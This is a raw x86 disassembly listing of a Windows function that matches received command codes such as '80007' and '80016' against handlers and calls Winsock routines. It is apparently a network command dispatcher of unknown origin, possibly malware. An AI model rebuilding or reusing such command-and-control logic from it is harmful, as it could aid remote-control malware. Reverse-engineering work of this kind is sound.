test eax, eax
jne 0x42c1f3
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f1c36
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42c22e
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4630a0
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c254
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42c276
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42c272
imul eax, dword [ebx]
jmp 0x42c267
mov ecx, eax
test ecx, ecx
je 0x42c295
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42c28e
push ebx
push eax
call fcn.00461dbe
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42c27c
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00431bc5
jmp 0x42ccc7
push str.80007
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42c737
push reloc.WS2_32.dll_connect
push 0
push 0x4f64ee
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
je 0x42c2f5
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 8]
xor ebx, ebx
test eax, eax
je 0x42c306
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x42c31d
dec eax
test ecx, ecx
je 0x42c31d
call fcn.00411ae6
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c33d
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42c3c2
call fcn.0042d2e7
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42c362
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c388
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80007
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42c3ad
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42c3bd
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42c732
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c3d5
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f1c36
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42c410
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4630a0
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c436
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42c458
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42c454
imul eax, dword [ebx]
jmp 0x42c449
mov ecx, eax
test ecx, ecx
je 0x42c477
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42c470
push ebx
push eax
call fcn.00461dbe
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42c45e
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040ec20
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x42c732
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42c4b6
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4f63d2
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42c5eb
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42c4f7
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42c514
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x462b70
call fcn.00461db8
add esp, 0x10
push eax
call fcn.0042f92c
test eax, eax
je 0x42c590
push reloc.WS2_32.dll_connect
push 0
push 0x4f63db
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42c57b
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c58b
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42c5e6
push reloc.WS2_32.dll_connect
push 0
push 0x4f63e8
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42c5d6
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c5e6
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42c732
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42c609
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4f63f5
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42c691
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42c64a
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42c667
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x462b70
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
push dword [ebp - 0x28]
call fcn.0042fa22
jmp 0x42c732
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42c6af
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4f63fe
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42c732
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42c6f0
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42c70d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x462b70
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 0
push dword [ebp - 0x28]
call fcn.0042fa22
jmp 0x42ccc7
push str.80016
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42ca55
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c763
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f6501
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c7a7
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42c8bd
cmp dword [0x529134], 0
je 0x42c819
push reloc.WS2_32.dll_connect
push 0
push 0x4f650f
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80016
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42c804
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c814
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42c8b8
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0x43bb22
push 0
push 0
mov eax, 0x4f
call fcn.00461dac
cmp dword [ebp - 0x2c], esp
je 0x42c855
push 6
call fcn.00461da6
add esp, 4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x42c8b8
push reloc.WS2_32.dll_connect
push 0
push 0x4f652b
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80016
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42c8a8
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c8b8
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42ca50
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c8d0
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f653b
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c914
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42c938
push dword [0x529134]
call fcn.00432851
mov dword [0x529134], 0
jmp 0x42ca50
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c94b
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f6501
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c98f
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42ca01
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c9ac
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x4f653b
push dword [ebp - 0x2c]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42c9f0
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x30], 0
je 0x42ca01
mov eax, 1
jmp 0x42ca06
mov eax, 0
test eax, eax
je 0x42ca50
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ca21
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.00432887
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ca50
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42ccc7
push str.80017
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42caa2
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 2
push 2
mov eax, 4
mov ebx, 0x4c4010
call fcn.00461dca
add esp, 0x1c
jmp 0x42ccc7
push str.80018
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42cc8a
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42cada
mov eax, 0x4f1c44
push eax
push 2
mov ebx, 0x4635e0
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42cb15
mov eax, 0x4f1c44
push eax
push 3
mov ebx, 0x463460
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], ecx
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42cb41
push ebx
call fcn.00461dbe
add esp, 4
mov ecx, dword [ebp - 0x28]
cmp ecx, reloc.WS2_32.dll_connect
je 0x42cb59
push 5
call fcn.00461da6
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42cb6d
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4f6420
push dword [ebp - 0x18]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42cc85
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42cb9d
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x4623a0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4f6427]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.0040e0a1
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42cbe8
mov eax, 0x4f1c44
push eax
push 2
mov ebx, 0x463620
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42cc11
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42cc37
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.00432990
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x42cc50
push ebx
call fcn.00461dbe
add esp, 4
push 0x80000301
push 0
push 0x529138
push 0
push 0
push 0
push reloc.WS2_32.dll_getsockname
push 0
push 0x43c5ac
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
jmp 0x42ccc7
push str.80019
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42ccc7
push 0x80000301
push 0
push dword [0x529138]
push 1
mov eax, 3
mov ebx, 0x4c3ce0
call fcn.00461dca
add esp, 0x10
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x42ccd7
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42cce7
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x42ccf7
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x42cd07
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42cd25
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42cd21
imul eax, dword [ebx]
jmp 0x42cd16
mov ecx, eax
test ecx, ecx
je 0x42cd44
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42cd3d
push ebx
push eax
call fcn.00461dbe
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42cd2b
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42cd5c
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x42cd6c
push ebx
call fcn.00461dbe
add esp, 4
mov esp, ebp
pop ebp
ret 4